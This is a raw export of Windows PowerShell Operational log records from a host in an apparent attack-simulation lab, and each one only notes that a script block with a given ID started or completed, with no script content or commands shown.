Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044745
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044744
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044743
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044742
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044730
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044729
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044726
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044725
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044720
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044719
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044715
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044714
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044712
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044697
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044696
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044695
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044694
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
